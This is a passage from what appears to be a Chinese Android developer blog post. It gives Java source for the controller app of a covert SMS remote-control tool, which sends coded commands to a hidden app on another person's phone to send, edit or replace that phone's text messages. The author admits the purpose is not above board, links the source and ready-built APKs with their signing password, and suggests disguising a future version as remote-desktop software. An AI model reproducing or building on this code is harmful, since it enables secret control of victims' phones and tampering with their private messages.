}
}
});
mSendSmsBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
String str1 = mSmsNumberSetEditText.getText().toString().trim();
String str2 = mSmsContentEditText.getText().toString().trim();
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@sms" + "#" + str1 + "#" + str2,
null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mEditSmsBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
if(mClientNumber.equals("")){
Toast.makeText(SMSadminActivity.this, "目前未控制任何手機", Toast.LENGTH_SHORT).show();
return;
}
Intent it = new Intent(SMSadminActivity.this,EditSmsActivity.class);
startActivity(it);
}
});
}
}
這個是修改短信的activity:
package iceman.android.smsadmin;
import iceman.android.smsadmin.R;
import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class EditSmsActivity extends Activity {
private SmsManager mSmsManager = SmsManager.getDefault();
private EditText mSmsKey, mSmsNumber,mSmsContent;
private Button mReplaceBtn,mEditBtn;
private SharedPreferences mSharedpreferences = null;
private String mClientNumber;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.edit_sms_layout);
mSmsKey = (EditText) findViewById(R.id.key);
mSmsNumber = (EditText) findViewById(R.id.number);
mSmsContent = (EditText) findViewById(R.id.content);
mEditBtn = (Button) findViewById(R.id.edit);
mReplaceBtn = (Button) findViewById(R.id.repalce);
mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
mClientNumber = mSharedpreferences.getString("control", "");
mEditBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
String key = mSmsKey.getText().toString().trim();
String number = mSmsNumber.getText().toString().trim();
String content = mSmsContent.getText().toString().trim();
if(number.equals("")){
number = "00000000000";
}
if (key.equals("") == false && content.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
+ "#" +number +"#"+content, null, null);
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.edit_sms_send_over),
Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.please_set_key_and_content),
Toast.LENGTH_SHORT).show();
}
}
});
mReplaceBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
String key = mSmsKey.getText().toString().trim();
String number = mSmsNumber.getText().toString().trim();
String content = mSmsContent.getText().toString().trim();
if(number.equals("")){
number = "00000000000";
}
if (key.equals("") == false && content.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
+ "#" +number +"#"+content, null, null);
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.replace_sms_send_over),
Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.please_set_key_and_content),
Toast.LENGTH_SHORT).show();
}
}
});
}
}
因為核心功能是受控端,所以我就不上截圖了.各位下載代碼看的話,可以盡情吐槽我的UI.哈哈哈
4.程序總結:
從程序角度來說,這不是一個好程序,不光是因為它的容錯性比較大(如果發到沒有安裝受控端的手機上,面對莫名其妙的短信,誰都會起疑心的),還因為軟件的目的是在算不上光明正大,秉着學習的態度將源碼發上來,如果大家能夠看完之后有"不錯,挺好玩的"這樣一個念頭,相信我的目的就達到了.
其實這個程序還可以做到很多功能,利用android的api,MainReceiver中的擴展性還是很高的.曾經打算開發一個網絡版的,不利用短信機制了,只是android手機用戶很多時候是關閉網絡連接的,所以似乎實用性還不如短信版的.有興趣的人可以開發一個,以遠程桌面為名,將程序導向正確的方向,也是一個不錯的選擇.
附上源碼及打包好的apk文件,證書的密碼都是123456
http://files.cnblogs.com/feifei1010/SMSreceiver.rar
http://files.cnblogs.com/feifei1010/SMSadmin.rar
http://files.cnblogs.com/feifei1010/apks.rar
歡迎熱愛安卓開發者加入群共同進步。南京群 220818530,武漢群121592153,,杭州群253603803,廈門群253604146,湖南群217494504,大連群253672904
青島群 257925319